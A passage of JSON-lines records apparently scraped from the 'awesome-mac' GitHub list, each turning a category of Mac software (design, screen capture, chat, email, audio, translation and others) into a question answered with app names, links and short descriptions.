[Paintbrush](http://paintbrush.sourceforge.net/) - Bitmap image editor. [![Open-Source Software][OSS Icon]](https://sourceforge.net/projects/paintbrush/files/) ![Freeware][Freeware Icon]\n* [Pencil2D](https://www.pencil2d.org) - A easy, intuitive tool to make 2D hand-drawn animations. [![Open-Source Software][OSS Icon]](https://github.com/pencil2d/pencil) ![Freeware][Freeware Icon]\n* [Pixelmator](http://www.pixelmator.com/mac/) - Full-featured image editor for Mac.\n* [Pixen](https://pixenapp.com/mac/) - Native pixel art and animation editor for Mac.\n* [Principle](http://principleformac.com/) -  Application for designing animated and interactive user interfaces.\n* [Pika](https://superhighfives.com/pika) - An open-source color picker app. [![Open-Source Software][OSS Icon]](https://github.com/superhighfives/pika) [![App Store][app-store Icon]](https://apps.apple.com/app/pika/id6739170421)\n* [RawTherapee](https://rawtherapee.com/) - A powerful cross-platform raw photo processing program! ![Freeware][Freeware Icon] [![Open-Source Software][OSS Icon]](https://github.com/Beep6581/RawTherapee)\n* [ScreenToLayers](https://github.com/duyquoc/ScreenToLayers) - Easily export your screen into a layered PSD file. [![Open-Source Software][OSS Icon]](https://github.com/duyquoc/ScreenToLayers) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/screentolayers/id1077317077)\n* [Sketch](http://www.sketchapp.com/) - Professional digital design for mac.\n    * [Sketch Cache Cleaner](https://yo-op.github.io/sketchcachecleaner/) - Deletes hidden Sketch history files. [![OSS][OSS Icon]](https://github.com/yo-op/sketchcachecleaner) ![Freeware][Freeware Icon", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 97711, "answer_score": 10, "has_code": true, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443323"}
{"id": "gh_8ed9ef8d354b", "question": "How to: Prototyping and Mind-Mapping Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Adobe XD](http://www.adobe.com/products/experience-design.html) - Tool for designing and prototyping websites and mobile apps.\n* [Axure RP 8](http://www.axure.com) - Prototypes, specifications and diagrams in one tool.\n* [Balsamiq Mockups](https://balsamiq.com/products/mockups/) - Wire-framing tool that helps you work faster and smarter.\n* [Flinto](https://www.flinto.com/) - Quickly create interactive prototypes of mobile, desktop, or web apps.\n* [Framer](http://framerjs.com/) - Tool for interactive prototyping.\n* [Justinmind](http://www.justinmind.com) - Prototyping platform for web and mobile apps.\n* [Kite](https://kiteapp.co/) - Powerful animation and prototyping application for Mac & iOS.\n* [Lighten](https://lighten-test.xmind.net) - The best way to clarify thinking, boost productivity, brainstorm, and visualize concepts.\n* [Marvel](https://marvelapp.com/) - Simple design, prototyping and collaboration.![Freeware][Freeware Icon]\n* [MindNode](https://mindnode.com/) - Mind-mapping software with an emphasis on simplicity and ease-of-use.\n* [MockFlow](https://www.mockflow.com) - Online prototyping suite for web-design and usability testing.\n* [Mockplus](http://www.mockplus.com) - Prototype faster, smarter and easier.\n* [OmniGraffle](https://www.omnigroup.com/omnigraffle) - Diagramming and graphic design for Mac, iPhone, and iPad.\n* [Origami Studio](http://origami.design/) -  Tool for designing modern interfaces, built and used by designers at Facebook.\n* [pencil](http://pencil.evolus.vn/) - Free, open-source tool for making diagrams and GUI prototyping. [![Open-Source Software][OSS Icon]](https://github.com/evolus/pencil) ![Freeware][Freeware Icon]\n* [ProtoPie](https://www.protopie.io/) - Create the most advanced prototypes as easy as Pie.\n* [QuikFlow](https://quikflow.app) - Create flowcharts with a mind-mapping workflow.\n* [Scapple](http://www.literatureandlatte.com/scapple.php) - Practical mind-mapping software with free whiteboard-like layout.\n* [SimpleMind](https://simplemind.eu/) - The world leader in cross platform Mind Mapping tools.\n* [WriteMapper](https://writemapper.com/) - Get from idea to final draft in no time.\n* [XMind](http://www.xmind.net) - The most popular mind-mapping tool on the planet.\n* [Simple Diagrams](https://www.simplediagrams.com/) - A desktop app for creating hand-drawn-like, fast, clear sketches of problems, processes, workflows, ideas and more!\n* [yGraph Editor](https://www.yworks.com/products/yed) - High quality diagrams made easy.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443332"}
{"id": "gh_25023f21eb02", "question": "How to: Screencapturing Software", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [CleanShot X](https://cleanshot.com/) - Discover a superior way to capture your Mac's screen.\n* [CloudApp](https://www.getcloudapp.com/) - Work at the speed of sight. ![Freeware][Freeware Icon]\n* [Flameshot](https://github.com/flameshot-org/flameshot) - Powerful yet simple to use screenshot software. ![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]\n* [Gifox](https://gifox.app) - Gif Recording and Sharing.\n* [Kap](https://getkap.co/) - Open-source screen-recorder built with web technology. [![Open-Source Software][OSS Icon]](https://github.com/wulkano/kap) ![Freeware][Freeware Icon]\n* [KeyCastr](https://github.com/keycastr/keycastr) - KeyCastr, an open-source keystroke visualizer. [![Open-Source Software][OSS Icon]](https://github.com/keycastr/keycastr) ![Freeware][Freeware Icon]\n* [Kyapchar](https://github.com/vishaltelangre/Kyapchar) - Simple screen and microphone audio recorder for Mac. [![Open-Source Software][OSS Icon]](https://github.com/vishaltelangre/Kyapchar) ![Freeware][Freeware Icon]\n* [Licecap](http://www.cockos.com/licecap/) - Record your screen and export to GIF. You can change the recording area anytime during recording. [![Open-Source Software][OSS Icon]](https://github.com/justinfrankel/licecap) ![Freeware][Freeware Icon]\n* [Lightshot](https://app.prntscr.com/) - The fastest way to take a customizable screenshot. ![Freeware][Freeware Icon]\n* [Monosnap](https://monosnap.com/) - Make screenshots. Draw on it. Shoot video and share your files. It's fast, easy and free. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/monosnap/id540348655)\n* [OBS Studio](https://github.com/obsproject/obs-studio) - A free and open source software for live streaming and screen recording. [![Open-Source Software][OSS Icon]](https://github.com/obsproject/obs-studio)\n* [Shottr](https://shottr.cc/) - Screen capture application with features like Scrolling capture, OCR and markup.\n* [Skitch](https://evernote.com/skitch/) - Screen capture application with a powerful annotation capabilities. ![Freeware][Freeware Icon]\n* [Snip](http://snip.qq.com/) - Application for sharing captured images on QQ Mail. ![Freeware][Freeware Icon]\n* [Snipaste](https://www.snipaste.com) -  Simple but powerful snipping tool. ![Freeware][Freeware Icon]\n* [Teampaper Snap](http://teampaper.me/snap/) - Let your screenshots speak up. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/monosnap/id1199502670)\n* [Tight Studio](https://tight.studio/) - Record impressive screens in minutes, with smart zooms, AI voice overs, easy captions, text overlays, and lots more, all in simple clicks.\n* [Tuji](https://tuji.app/) - Take a screenshot, annotate it, and beautify it. [![App Store][app-store Icon]](https://apps.apple.com/us/app/tuji/id6479216439) ![Freeware][Freeware Icon]\n* [Xnip](http://xnipapp.com/) - Handy Screenshot App. [![App Store][app-store Icon]](https://itunes.apple.com/app/xnip-handy-screenshot-app/id1221250572) ![Freeware][Freeware Icon]\n* [Dropbox](https://www.dropbox.com/) - Dropbox app offers easy screenshot capturing and sharing ![Freeware][Freeware Icon]\n* [Snagit](https://www.techsmith.com/screen-capture.html) - Screen Capture and Recording Software. Simple and Powerful.\n* [Screen Studio](https://www.screen.studio/) - Record beautiful screens in minutes, with built-in exquisite frame animations, no need for editing.\n* [Zappy](https://zapier.com/zappy) - Zappy is a screenshot and screen recording app all in one. Has some simple editing tools built in.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443341"}
{"id": "gh_867be58eeee4", "question": "How to: Collaboration and Team Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Adium](https://adium.im/) - Free instant messaging application for Mac OS X. Connect to AIM, MSN, SMPP, Yahoo and more. ![Freeware][Freeware Icon]\n* [BlurScreen App](https://www.blurscreen.app) - Blur sensitive data instantly anywhere on screen, while recording or screen sharing. No post editing required.\n* [Caprine](https://github.com/sindresorhus/caprine) - Third-party privacy-focused Facebook Messenger app. ![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]\n* [DingTalk](https://www.dingtalk.com/en) - Free, powerful and professional office tool used by over 5 million enterprises and organizations globally. ![Freeware][Freeware Icon]\n* [Discord](https://discordapp.com/) - All-in-one voice and text chat for gamers that's free, secure, and works on both your desktop and phone.\n* [Element](https://element.io/) - Create, share communicate. Chat and call securely. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/vector-im)\n* [Ferdium](https://ferdium.org/) - Desktop app that helps you organize how you use your favourite apps by combining them into one application. It is based on Franz with the difference that Ferdium gives you many additional features and doesn't restrict its usage. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/ferdium/ferdium-app)\n* [Franz](http://meetfranz.com/) - [Electron](http://electron.atom.io/) based, multi-protocol wrapper for web-based chat. One application, 23 messenger services. ![Freeware][Freeware Icon]\n* [Gitter](https://gitter.im) - Instant messaging and chat room system for developers as well as GitHub users. Developer friendly with Markdown syntax support.\n* [Keybase](https://keybase.io/) - Secure groups, files, and chat for everyone! [![Open-Source Software][OSS Icon]](https://github.com/keybase) ![Freeware][Freeware Icon]\n* [Krisp](https://krisp.ai/) - An AI-powered noise cancelling app that mutes background noise during calls.\n* [Lark](https://www.larksuite.com/en_us/) - The Next-Gen Collaboration Suite. All your chats, meetings, calendars, docs, and emails in one place. ![Freeware][Freeware Icon]\n* [LimeChat](http://limechat.net/mac/) - Open-source IRC client for Mac OS X. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/psychs/limechat)\n* [Mastodon](https://mastodon.social/) - Your self-hosted, globally interconnected microblogging community [![Freeware][Freeware Icon]](https://joinmastodon.org/apps) [![Open-Source Software][OSS Icon]](https://github.com/mastodon/mastodon)\n* [Matrix](https://matrix.org/) - An open network for secure, decentralised communication! ![Freeware][Freeware Icon] ![Open-Source Software][OSS Icon]\n* [Mattermost](https://mattermost.com/download/) - Mattermost is an open source platform for secure collaboration across the entire software development lifecycle. [![Open-Source Software][OSS Icon]](https://github.com/mattermost/mattermost) ![Freeware][Freeware Icon]\n* [Misskey](https://misskey-hub.net/) - 🌎 A completely free and open interplanetary microblogging platform 🚀 [![Open-Source Software][OSS Icon]](https://github.com/misskey-dev/misskey)\n* [Muzzle](https://muzzleapp.com/) - A simple mac app to silence embarrassing notifications while screensharing.\n* [Presentify](https://presentify.compzets.com/) - A mac app to draw on your screen while on calls, highlight your cursor, and more. ![App Store][app-store Icon]\n* [Rambox](http://rambox.pro/) - Messaging and emailing app that combines common web applications into one. [![Open-Source Software][OSS Icon]](https://github.com/saenzramiro/rambox) ![Freeware][Freeware Icon]\n* [Signal Desktop](https://signal.org/download/) - Fast, simple, secure. Privacy that fits in your pocket. [![Open-Source Software][OSS Icon]](https://github.com/signalapp/Signal-Desktop)\n* [Slack](https://slack.com/downloads/mac) - Awesome tool for team collaboration and communication. ![Freeware][Freeware Icon]\n* [Stack](https://getstack.app/) - Open, organize and use multiple web apps on a single screen. Stack your apps by categories or projects.\n* [Teams](https://teams.live.com/) - Free online meetings and video calls\n* [Teambition](https://www.teambition.com) - Team collaboration tool, including many features like task plan, schedule, file sharing, instant discussion and everything you need when collaborating with other team members. ![Freeware][Freeware Icon]\n* [Telegram](https://desktop.telegram.org) - Messaging app with a focus on speed and security. [![Open-Source Software][OSS Icon]](https://github.com/overtake/TelegramSwift) [![App Store][app-store Icon]](https://itunes.apple.com/us/app/telegram/id747648890?mt=12)\n* [Textual](https://apps.apple.com/us/app/textual-7/id1262957439) - Internet Relay Chat (IRC) client. [![Open-Source Software][OSS Icon]](https://github.com/Codeux-Software/Textual) [![App Store][app-store Icon]](https://itunes.apple.com/us/app/telegram/id747648890)\n* [Unite](https://furnacecreek.org", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443386"}
{"id": "gh_8d91d4baa52c", "question": "How to: Email Clients", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Airmail](http://airmailapp.com) - Fast email client. For both Mac OS and iOS.\n* [CanaryMail](https://canarymail.io/) - Secure email app for Mac and iPhone with built-in PGP Support and AI assistance. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/canary-mail-email-meet-ai/id1236045954?mt=12)\n* [ElectronMail](https://github.com/vladimiry/ElectronMail) - An Electron-based unofficial desktop client for ProtonMail. [![Open-Source Software][OSS Icon]](https://github.com/vladimiry/ElectronMail) ![Freeware][Freeware Icon]\n* [Foxmail](http://www.foxmail.com/mac/en) - Fast email client. ![Freeware][Freeware Icon]\n* [MailTags](https://smallcubed.com/) - Use tags to organize email and schedule.\n* [Mailspring](https://getmailspring.com/) - A beautiful, fast, and fully open source mail client. [![Open-Source Software][OSS Icon]](https://github.com/Foundry376/Mailspring) ![Freeware][Freeware Icon]\n* [N1](https://www.nylas.com/) - Extensible, open-source mail app, free for developers and $7/month for Pro. ![Open-Source Software][OSS Icon]\n* [Nylas Mail](https://nylas.com/nylas-mail/) - Extensible desktop mail app built on the modern web.  [![Open-Source Software][OSS Icon]](https://github.com/nylas/nylas-mail) ![Freeware][Freeware Icon]\n* [Polymail](https://polymail.io/) - Simple, beautiful and powerful email client. ![Freeware][Freeware Icon]\n* [Postbox](https://www.postbox-inc.com) - Powerful, simple and beautiful email client, need to pay for a license.\n* [Spark](https://sparkmailapp.com/) - Fast email client. For both Mac OS and iOS.![Freeware][Freeware Icon]\n* [ThunderBird](https://www.mozilla.org/en-US/thunderbird/) - Software that makes email easier. ![Freeware][Freeware Icon]\n* [Tutanota](https://tutanota.com/) - Encrypted email focused on security and privacy. [![Open-Source Software][OSS Icon]](https://github.com/tutao/tutanota) ![Freeware][Freeware Icon]\n* [Edison Mail](https://mail.edison.tech/mac) - A customisable, simple, and beautiful email client. ![Freeware][Freeware Icon]\n* [Skiff Mail](https://skiff.com/mail) - Encrypted & Decentralized Email -- available on web, iOS/Android, and macOS. ![Freeware][Freeware Icon] [![Open-Source Software][OSS Icon]](https://github.com/skiff-org/skiff-mail)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443395"}
{"id": "gh_fdb8aabbf4df", "question": "How to: File Sharing", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Cyberduck](https://cyberduck.io) - Free FTP, SFTP, WebDAV, S3, Backblaze B2, Azure and OpenStack Swift browser. ![Freeware][Freeware Icon]\n* [Dropshare](https://dropshare.app) - Powerful menu bar application for sharing screen shots, screen recordings and all other files with over 27 storage providers.\n* [Flow](http://fivedetails.com/flow/) - Award-winning, beautiful, fast, and reliable FTP + SFTP client.\n* [LocalSend](https://localsend.org/) - An open-source cross-platform alternative to AirDrop. [![Open-Source Software][OSS Icon]](https://github.com/localsend/localsend) ![Freeware][Freeware Icon]\n* [NearDrop](https://github.com/grishka/NearDrop) - An unofficial Google Nearby Share/Quick Share app for macOS. [![Open-Source Software][OSS Icon]](https://github.com/localsend/localsend) ![Freeware][Freeware Icon]\n* [Transmit](https://panic.com/transmit/) - Highly flexible and intuitive FTP client, supports SFTP, S3 and iDisk/WebDAV.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443401"}
{"id": "gh_2346e1eb2a1b", "question": "How to: Data Recovery Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Data Rescue](https://www.prosofteng.com/mac-data-recovery) - Comprehensive and professional data recovery tool for most cases.\n* [DiskWarrior](http://www.alsoft.com/DiskWarrior/) - The world’s most advanced repair and recovery tool for Mac.\n* [R-Studio for Mac](http://www.r-studio.com/data_recovery_macintosh/) - Powerful tool for recovering data on disks, even if their partitions are formatted, damaged or deleted.\n* [SuperDuper!](https://shirt-pocket.com/SuperDuper/SuperDuperDescription.html) - Painless fully bootable disk backups.\n* [Disk Drill](https://www.cleverfiles.com/) - Free data recovery tool. Also has a PRO version. [![App Store][app-store Icon]](https://apps.apple.com/us/app/disk-drill-media-recovery/id431224317?mt=12)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443407"}
{"id": "gh_60eba62883c5", "question": "How to: Audio and Video Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Adapter](https://macroplant.com/adapter) -  Free audio, video and image conversion software. ![Freeware][Freeware Icon]\n* [Aegisub](https://github.com/Aegisub/Aegisub) - Free, cross-platform open source tool for creating and modifying subtitles. Aegisub makes it quick and easy to time subtitles to audio, and features many powerful tools for styling them, including a built-in real-time video preview. [![Open-Source Software][OSS Icon]](https://github.com/Aegisub/Aegisub/) ![Freeware][Freeware Icon]\n* [Audio Profile Manager](https://apps.apple.com/us/app/audio-profile-manager/id1484150558?ls=1&mt=12) - Allows you to pin input/output devices for each particular combination of connected devices. May suppress HDMI displays from being chosen. [![App Store][app-store Icon]](https://apps.apple.com/us/app/audio-profile-manager/id1484150558?ls=1&mt=12)\n* [Ardour](https://ardour.org/) - Cross-platform audio software for multi-track recording and editing. [![Open-Source Software][OSS Icon]](https://github.com/Ardour/ardour)\n* [Audacity](http://www.audacityteam.org/) - Free, open-source, cross-platform audio software for multi-track recording and editing. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/audacity/audacity)\n* [Audio Hijack](http://www.rogueamoeba.com/audiohijack/) - Record any application's audio, including VoIP calls from Skype, web streams from Safari, and much more.\n* [BeMyEars](https://www.bemyears.cn/) - Free for hearing impaired, System wide on-device live caption, multi language support, just like you have YouTube subtitles everywhere.\n* [BlackHole](https://github.com/ExistentialAudio/BlackHole) - Freemium, open-source virtual output/input audio driver for recording/routing internal audio. [![Open-Source Software][OSS Icon]](https://github.com/ExistentialAudio/BlackHole) [![Freeware][Freeware Icon]](https://github.com/ExistentialAudio/BlackHole)\n* [Camera Preview](https://sindresorhus.com/camera-preview) - Preview your webcam, take photos, and use it as a mirror. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1632827132)\n* [Carol](https://github.com/AnaghSharma/Carol) - A minimal and beautiful lyrics app for macOS. [![Open-Source Software][OSS Icon]](https://github.com/AnaghSharma/Carol) ![Freeware][Freeware Icon]\n* [Cog](http://cogx.org/) - Free, open-source audio player. [![Open-Source Software][OSS Icon]](https://github.com/losnoco/cog) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/cog-kode54/id1630499622)\n* [DaVinci Resolve](https://www.blackmagicdesign.com/products/davinciresolve/)  - Free, cross-platform video editing, color grading, video effects and audio editing software.\n* [Elmedia Player](https://mac.eltima.com/media-player.html) - This media player is a super versatile app for any file format you probably may think of: FLV, MP4, AVI, MOV, DAT, MKV, MP3, FLAC, M4V are all supported as well as many others.\n* [FreeTube](https://freetubeapp.io/) - Open source desktop YouTube client built with privacy in mind. [![Open-Source Software][OSS Icon]](https://github.com/FreeTubeApp/FreeTube) ![Freeware][Freeware Icon]\n* [Gifski](https://github.com/sindresorhus/gifski-app) - Convert videos to high-quality GIFs. ![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/no/app/gifski/id1351639930?mt=12)\n* [HandBrake](https://handbrake.fr/) - Tool for converting video from nearly any format to a selection of modern, widely supported codecs. [![Open-Source Software][OSS Icon]](https://github.com/HandBrake/HandBrake)\n* [Hydrogen](http://hydrogen-music.org/) - Professional yet simple and intuitive pattern-based drum programming for GNU/Linux. [![Open-Source Software][OSS Icon]](https://github.com/hydrogen-music/hydrogen)\n* [ffWorks](https://www.ffworks.net/) - Comprehensive Media Tool for macOS. Making High Quality Video Encoding Accessible for Everyone.\n* [IINA](https://iina.io/) - The modern video player for macOS. Based on mpv, the powerful media player project. [![Open-Source Software][OSS Icon]](https://github.com/iina/iina) ![Freeware][Freeware Icon]\n* [Jellyfin](https://github.com/jellyfin/jellyfin) - The Free Software Media System. [![Open-Source Software][OSS Icon]](https://jellyfin.org) ![Freeware][Freeware Icon]\n* [Kodi](https://kodi.tv/) - Award-winning free and open-source (GPL) software media center for playing videos, music, pictures, games, and more. [![Open-Source Software][OSS Icon]](https://github.com/xbmc/xbmc) ![Freeware][Freeware Icon]\n* [LMMS](https://lmms.io) - Formerly \"Linux MultiMedia Studio\", LMMS is a powerful Digital Audio Workstation designed like FL Studio (formerly Fruity Loops). [![Open-Source Software][OSS Icon]](https://github.com/lmms/lmms) ![Freeware][Freeware Icon]\n* [LosslessCut](https://github.com/mifi/lossless-cut) - Cross platform tool for quick and lossless video and audio trimming using", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443431"}
{"id": "gh_f1b73b7273e2", "question": "How to: Audio Record and Process", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [CapSoftware](https://github.com/CapSoftware/) - An open-source alternative to Loom. Beautiful, shareable screen recording tool. [![Open-Source Software][OSS Icon]](https://github.com/CapSoftware/) ![Freeware][Freeware Icon]\n* [GarageBand](https://www.apple.com/mac/garageband/) - A free Digital Audio Workstation (DAW) from Apple，providing a simple interface and professional level audio production functions. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/cn/app/garageband/id682658836?l=zh&ls=1&mt=12)\n* [Logic Pro X](https://www.apple.com/logic-pro/) - A professional Digital Audio Workstation (DAW) from Apple，providing complete audio production functions along with high quality native plugins and soundtracks. With native Apple Silicon support. [![App Store][app-store Icon]](https://apps.apple.com/cn/app/logic-pro-x/id634148309?l=zh&mt=12)\n* [Stargate DAW](https://github.com/stargatedaw/stargate) - An all-in-one digital audio workstation (DAW) and plugin suite. [![Open-Source Software][OSS Icon]](https://github.com/aria2) ![Freeware][Freeware Icon]\n* [Quick Recorder](https://lihaoyun6.github.io/quickrecorder/) - A lightweight and high-performance screen recorder for macOS [![Open-Source Software][OSS Icon]](https://github.com/lihaoyun6/QuickRecorder) ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443439"}
{"id": "gh_f17a354acf68", "question": "How to: Cloud Storage", "question_body": "About jaywcjlove/awesome-mac", "answer": "*I recommend using online storage with Mac clients*\n\n* [Arq](https://www.arqbackup.com/) - Cloud storage backup client that supports AWS, GCP, DropBox, and more.\n* [Carbonite](https://www.carbonite.com/learn/how-to-backup-mac/) - Carbonite can protect your Mac from all of the most common forms of data loss.\n* [Dropbox](https://www.dropbox.com/) - File hosting service that offers cloud storage and file synchronization with collaborative edit features. ![Freeware][Freeware Icon]\n* [Mega](https://mega.nz) - Free cloud service, offers 50GB free storage. ![Freeware][Freeware Icon]\n* [NextCloud](https://nextcloud.com/) - Actively maintained fork of ownCloud, faster and completely open-source [![Open-Source Software][OSS Icon]](https://github.com/nextcloud)\n* [ownCloud](https://owncloud.org) - Cloud storage.\n* [Seafile](https://www.seafile.com/) - Reliable and High Speed File Sync and Share.![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443454"}
{"id": "gh_be289250cb6d", "question": "How to: Input Methods", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Kawa](https://github.com/utatti/kawa) - Better input source switcher for OS X. [![Open-Source Software][OSS Icon]](https://github.com/utatti/kawa) ![Freeware][Freeware Icon]\n* [Rocket](http://matthewpalmer.net/rocket/) - Makes typing emoji faster and easier using Slack-style shortcuts. ![Freeware][Freeware Icon]\n* [Touch Emoji](https://github.com/lessmess-dev/touch-emoji) - Emoji picker for MacBook Pro Touch Bar. [![Open-Source Software][OSS Icon]](https://github.com/lessmess-dev/touch-emoji)\n* [Type2Phone](https://www.houdah.com/type2Phone/) - Use Your Mac as Keyboard for iPhone, iPad & Apple TV.\n* [betterglobekey](https://github.com/Serpentiel/betterglobekey) - Make macOS Globe key great again! [![Open-Source Software][OSS Icon]](https://github.com/Serpentiel/betterglobekey) ![Freeware][Freeware Icon]\n* [InputSourcePro](https://inputsource.pro/) - A tool for multilingual users that automatically switches the input source across applications and websites. [![Open-Source Software][OSS Icon]](https://github.com/runjuu/InputSourcePro) ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443460"}
{"id": "gh_80006c93d65e", "question": "How to: Voice-to-Text", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Aiko](https://sindresorhus.com/aiko) - High-quality on-device transcription. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1666327168)\n* [buzz](https://github.com/chidiwilliams/buzz) - Transcribes and translates audio offline on your personal computer. Powered by OpenAI's Whisper. [![Open-Source Software][OSS Icon]](https://github.com/chidiwilliams/buzz)\n* [Ottex](https://ottex.ai) - Dictate emails, Slack messages, notes and more. Detects your app or website and formats accordingly — gmail.com → email, Obsidian → markdown, etc.\n* [Spokenly](https://spokenly.app/) - Voice-to-text with 100+ languages, offline mode, and AI-powered formatting.\n* [VoiceInk](https://tryvoiceink.com/) - Real-time speech-to-text app. [![Open-Source Software][OSS Icon]](https://github.com/Beingpax/VoiceInk) ![Freeware][Freeware Icon]\n* [Whispering](https://epicenter.md/whispering/) - Multi-provider speech-to-text with AI transformations and keyboard shortcuts. [![Open-Source Software][OSS Icon]](https://github.com/EpicenterHQ/epicenter/tree/main/apps/whispering) ![Freeware][Freeware Icon]\n* [Willow Voice](https://willowvoice.com/) - AI dictation with automatic editing, style-matching, and noise optimization.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443467"}
{"id": "gh_dc46776a9b0f", "question": "How to: Translation Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "*(Or you could just use the Mac OS built-in dictionary)*\n\n* [DeepL](https://www.deepl.com/en/app/) - Best quality translations ![Freeware][Freeware Icon]\n* [Easydict](https://github.com/tisfeng/Easydict) - Easy to look up words or translate text [![Open-Source Software][OSS Icon]](https://github.com/tisfeng/Easydict)\n* [Grammarly](https://app.grammarly.com/) - Refine your english\n* [iTranslate](http://www.itranslate.com/) - Translate entire website instantly with its built-in browser or with iTranslate Safari extension into over 40 languages. ![Freeware][Freeware Icon]\n* [Lingvanex](https://lingvanex.com) ![Freeware][Freeware Icon]\n* [Ludwig](https://ludwig.guru) - Linguistic search engine that helps you to write better in English.\n* [Mate Translate](https://gikken.co/mate-translate/mac) - Translate in Safari and any app on macOS between 103 languages.\n* [Nani](https://nani.now) - Fast AI translation with explanations.\n* [OpenAI Translator](https://github.com/yetone/openai-translator) - Browser extension and cross-platform desktop application for translation based on ChatGPT API.[![Open-Source Software][OSS Icon]](https://github.com/yetone/openai-translator)\n* [Translatium](https://translatium.app) - Translate words, phrases and images between over 100 languages with dictionary, transliteration and voice output support. [![Open-Source Software][OSS Icon]](https://github.com/webcatalog/translatium-desktop) [![App Store][app-store Icon]](https://itunes.apple.com/us/app/translatium/id1547052291)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443479"}
